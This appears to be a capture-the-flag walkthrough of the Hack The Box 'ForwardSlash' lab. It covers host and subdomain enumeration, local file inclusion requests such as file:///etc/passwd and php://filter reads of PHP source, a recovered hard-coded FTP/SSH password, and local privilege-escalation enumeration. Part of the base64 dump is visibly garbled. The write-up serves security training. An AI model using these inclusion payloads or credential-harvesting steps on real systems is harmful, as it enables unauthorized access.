# WFUZZ TO LOOK FOR DOMAINS

# LFI

# **BASE64 ENCODING**

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

ssh-hostkey:

2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)

256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)

|\_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|\_http-server-header: Apache/2.4.29 (Ubuntu)

|\_http-title: Backslash Gang

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

### http://forwardslash.htb/

root@kali:/home/kali/Desktop/hackthebox/forwardslash# gobuster dir -u http://forwardslash.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt

# http://forwardslash.htb/note.txt

Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name...

Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.

-chiv

wfuzz --hh 0 -H 'Host: FUZZ.forwardslash.htb' -u http://10.10.10.183/ --hc 400 -w /usr/share/wordlists/wfuzz/general/common.txt -c

- -hh = for hinding the result which has content length 0
- -hc = for hiding result which have response **400**
- -c = for making the result colorful

ID Response Lines Word Chars Payload

\_\_\_\_\_

### http://backup.forwardslash.htb/login.php

root@kali:/home/kali/Desktop/hackthebox/forwardslash# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -k -x "txt,html,php,asp,aspx,jpg" -u <a href="http://backup.forwardslash.htb/">http://backup.forwardslash.htb/</a>

/index.php (Status: 200)

/login.php (Status: 200)

/register.php (Status: 200)

/welcome.php (Status: 200)

/dev (Status: 403)

/api.php (Status: 200)

/environment.php (Status: 200)

/logout.php (Status: 200)

/config.php (Status: 200)

/hof.php (Status: 200)

http://backup.forwardslash.htb/register.php

register an account

akg

akg123

http://backup.forwardslash.htb/welcome.php

http://backup.forwardslash.htb/profilepicture.php

This has all been disabled while we try to get back on our feet after the hack.

-Pain

Inspect element → change disabled values to enabled

## LFI

POST /profilepicture.php HTTP/1.1

Host: backup.forwardslash.htb

 $User-Agent: Mozilla/5.0 \ (X11; Linux x86\_64; rv:68.0) \ Gecko/20100101 \ Firefox/68.0$ 

 $\label{localization} Accept: text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8$ 

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://backup.forwardslash.htb/profilepicture.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 22

Connection: close

Cookie: PHPSESSID=q7k2r1j1atsk3pda57eh7kbac0

Upgrade-Insecure-Requests: 1

url=file:///etc/passwd

http://backup.forwardslash.htb/dev/

url=file:///var/www/backup.forwardslash.htb/dev/index.php

RESPONSE:

Permission Denied; not that way;)

### BASE64

url=php://filter/convert.base64-encode/resource=file:///var/www/backup.forwardslash.htb/dev/index.php

#### **RESPONSE:**

PD9waHAKLy9pbmNsdWRlX29uY2UgLi4vc2Vzc2lvbi5waHA7Ci8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFyd kX1NFU1NJT05bJ3VzZXJuYW1lJ10glT09lCJhZG1pbilplCYmlCRfU0VSVkVSWydSRU1PVEVfQUREUiddlCE9PSAiMTl3LjAuMC4xli I7 CiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwMyBGb3JiaWRkZW4nKTsKICAgIGVjaG8gIjxoMT40MDMgQWNjZXNzIERIbmIIZDwvAnkTsKICAgIGVjaG8gIjxoMt40MDMgQWNjZXNzIERIbmIIZDwvAnkTsKICAgIGVjaG8gIjxoMt40MDMgQWNjZXNzIERIbmIIZDwvAnkTsKICAgIGVjaG8gIjxoMt40MDMgQWNjZXNzIERIbmIIZDwvAnkTsKICAgIGVjaG8gIjxoMt40MDMgQWNjZXNzIERIbmIIZDwvAnkTsKICAgIGVjaG8gIjxoMt40MDMgQWNjZXNzIERIbmIIZDwvAnkTsKICAgIGVjaG8gIjxoMt40MDMgQWNjZXNzIERIbmIIZDwvAnkTsKICAgIGVjaG8gIjxoMt40MDMgQWNjZXNzIERIbmIIZDwvAnkTsKICAgIGVjaG8gIjxoMt40MDMgQWNjZXNzIERIbmIIZDwvAnkTsWiAgIGVjaG8gIjxoMt40MDMgQWNjZXNzIERIbmIIZDwvAnkTsWiAgIGVjaG8gIgWiAgIGWiAgIGVjaG8gIgWiAgIGWaDE+IjsKICAgIGVjaG8gIjxoMz5BY2NIc3MgRGVuaWVkIEZyb20gIiwgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICI8L2gzPiI7CiAgIC AvL2V jaG8g ljxoM j5SZWR pcmV jdGluZyB0 byBsb2d pbiBpbiAzIHNIY29 uZHM8L2gyPiIKICAgIC8vZWNobyAnPG1ldGE gaHR0cC1 lcMsD120 pbiAzIHNIY29 uZHM8L2gyPiIKICAgIC8 uZHM8L2gyPiIKIC8 uZHM8L2gXVpdj0icmVmcmVzaClgY29udGVudD0iMzt1cmw9Li4vbG9naW4ucGhwliAvPic7CiAglCAvL2hlYWRlcigibG9jYXRpb246lC4uL2x vZ2luLnBocClpOwogICAgZXhpdDsKfQo/Pgo8aHRtbD4KCTxoMT5YTUwgQXBpIFRlc3Q8L2gxPgoJPGgzPlRoaXMgaXMgb3VyIGF wa SBOZXNOIGZvciB3aGVuIG91ciBuZXcgd2Vic2IOZSBnZXRzIHJIZnVyYmlzaGVkPC9oMz4KCTxmb3JtIGFjdGlvbj0iL2RIdi9pbmRleC5waHAilG1ldGhvZD0iZ2V0liBpZD0ieG1sdGVzdCl+CgkJPHRleHRhcmVhlG5hbWU9InhtbClgZm9ybT0ieG1sdGVzdClgcm93cz0ingChlub (Calculation of the Company of the Company0IHR5cGU9InN1Ym1pdCI+Cgk8L2Zvcm0+Cgo8L2h0bWw+Cgo8IS0tIFRPRE86CkZpeCBGVFAgTG9naW4KLS0+Cgo8P3BocAppZi AoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICJHRVQiICYmIGlzc2V0KCRfR0VUWyd4bWwnXSkpIHsKCgkkcmVnID0gJy 9mdHA6XC9cL1tcc1xTXSpcL1wiLyc7CgkvLyRyZWcgPSAnLygoKCgyNVswLTVdKXwoMlswLTRdXGQpfChbMDFdP1xkP1xkK9kpXC4pezN9KCgoKDI1WzAtNV0pfCgyWzAtNF1cZCl8KFswMV0/XGQ/XGQpKSkpLycKCglpZiAocHJlZ19tYXRjaCgkcmVnLCAkX0dFV FsneG1sJ10sICRtYXRjaCkpIHsKCQkkaXAgPSBIeHBsb2RIKCcvJywgJG1hdGNoWzBdKVsyXTsKCQIIY2hvICRpcDsKCQIIcnJvcl9sb2colk Nvbm5 IY3 Rpbmc iKTs KCgkJJGNvbm5 faWQgPSBmdHBfY29 ubmVjdCgkaXApIG9yIGRpZSgiQ291bGRuJ3QgY29 ubmVjdCB0by A ka X B c bil p O wo K C Q II c n J v c 19 s b 2 c o I k x v Z 2 d p b m c g a W 4 i K T s K C g k J a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W Q s I C J j a G I 2 l i w g J 0 4 f a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 2 s I C J j a G I 2 l i w g J 0 4 f a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 2 s I C J a G I 2 l i w g J 0 4 f a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 2 s I C J a G I 2 l i w g J 0 4 f a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 2 s I C J a G I 2 l i w g J 0 4 f a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 2 s I C J a G I 2 l i w g J 0 4 f a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 2 s I C J a G I 2 l i w g J 0 4 f a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 2 s I C J a G I 2 l i w g J 0 4 f a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 2 s I C J a G I 2 l i w g J 0 4 f a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 2 s I C J 1 a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 19 g K E B m d H B f b G 9 n a W 4 o J G N v b m 5 f a W 19 g K B M 19 g K B

wYm9keUwxa2VzQmFjay8nKSkgewoKCQkJZXJyb3JfbG9nKCJHZXR0aW5nIGZpbGUiKTsKCQkJZWNobyBmdHBfZ2V0X3N0cmlu ZygkY29ubl9pZCwgImRlYnVnLnR4dClpOwoJCX0KCgkJZXhpdDsKCX0KCglsaWJ4bWxfZGlzYWJsZV9lbnRpdHlfbG9hZGVylChmY WxzZSk7CgkkeG1sZmlsZSA9ICRfR0VUWyJ4bWwiXTsKCSRkb20gPSBuZXcgRE9NRG9jdW1lbnQoKTsKCSRkb20tPmxvYWRYTU woJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKCSRhcGkgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSg kZG9tKTsKCSRyZXEgPSAkYXBpLT5yZXF1ZXN0OwoJZWNobyAiLS0tLS1vdXRwdXQtLS0tLTxicj5cclxuljsKCWVjaG8gliRyZXEiOwp 9CgpmdW5jdGlvbiBmdHBfZ2V0X3N0cmluZygkZnRwLCAkZmlsZW5hbWUplHsKlCAglCR0ZW1wlD0gZm9wZW4oJ3BocDovL3R lbXAnLCAncisnKTsKlCAglGlmlChAZnRwX2ZnZXQoJGZ0cCwgJHRlbXAslCRmaWxlbmFtZSwgRlRQX0JJTkFSWSwgMCkplHsKlCAg lCAglCByZXdpbmQoJHRlbXApOwoglCAglCAglHJldHVybiBzdHJlYW1fZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKlCAglH0KlCAglGVsc2 UgewoglCAglCAglHJldHVybiBmYWxzZTsKlCAglH0KfQoKPz4K

```
<?php
//include_once ../session.php;
// Initialize the session
session_start();
if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") &&
$_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
  header('HTTP/1.0 403 Forbidden');
  echo "<h1>403 Access Denied</h1>";
  echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
  //echo "<h2>Redirecting to login in 3 seconds</h2>"
  //echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
  //header("location: ../login.php");
  exit;
}
?>
<html>
         <h1>XML Api Test</h1>
         <h3>This is our api test for when our new website gets refurbished</h3>
         <form action="/dev/index.php" method="get" id="xmltest">
                  <textarea name="xml" form="xmltest" rows="20" cols="50"><api>
  <request>test</request>
</api>
</textarea>
```

```
<input type="submit">
          </form>
</html>
<!-- TODO:
Fix FTP Login
-->
<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {
          r = '/ftp: \[ \s\S ] * \'''';
          \label{eq:conditional_condition} $$ //\$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))).){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))' $$
          if (preg_match($reg, _{GET['xml']}, $match)) {
                    $ip = explode('/', $match[0])[2];
                    echo $ip;
                    error_log("Connecting");
                    conn_id = ftp_connect(sip) or die("Couldn't connect to sip\n");
                    error_log("Logging in");
                    if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
                              error_log("Getting file");
                              echo ftp_get_string($conn_id, "debug.txt");
                    }
                    exit;
```

```
}
         libxml_disable_entity_loader (false);
         $xmlfile = $_GET["xml"];
         $dom = new DOMDocument();
         $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
         $api = simplexml_import_dom($dom);
         $req = $api->request;
         echo "-----output-----<br>\r\n";
         echo "$req";
}
function ftp_get_string($ftp, $filename) {
  $temp = fopen('php://temp', 'r+');
  if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
    rewind($temp);
    return stream_get_contents($temp);
  }
  else {
    return false;
  }
}
?>
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
N0bodyL1kesBack/
root@kali:/home/kali/Desktop/hackthebox/forwardslash# ssh <a href="mailto:chiv@forwardslash.htb">chiv@forwardslash.htb</a>
PRIVESC TO USER
chiv@forwardslash:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/backup
```

chiv@forwardslash:/var/www/backup.forwardslash.htb\$ backup Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second Current Time: 14:04:42 ERROR: 80ca4c47b3bf8606596cffa765e090e0 Does Not Exist or Is Not Accessible By Me, Exiting.. Su pain: db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704 pain@forwardslash:~\$ cat note.txt Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go. pain@forwardslash:~\$ sudo -l Matching Defaults entries for pain on forwardslash:

env\_reset, mail\_badpass,

 $secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shi$ 

User pain may run the following commands on forwardslash:

(root) NOPASSWD: /sbin/cryptsetup luksOpen \*

(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/

(root) NOPASSWD: /bin/umount ./mnt/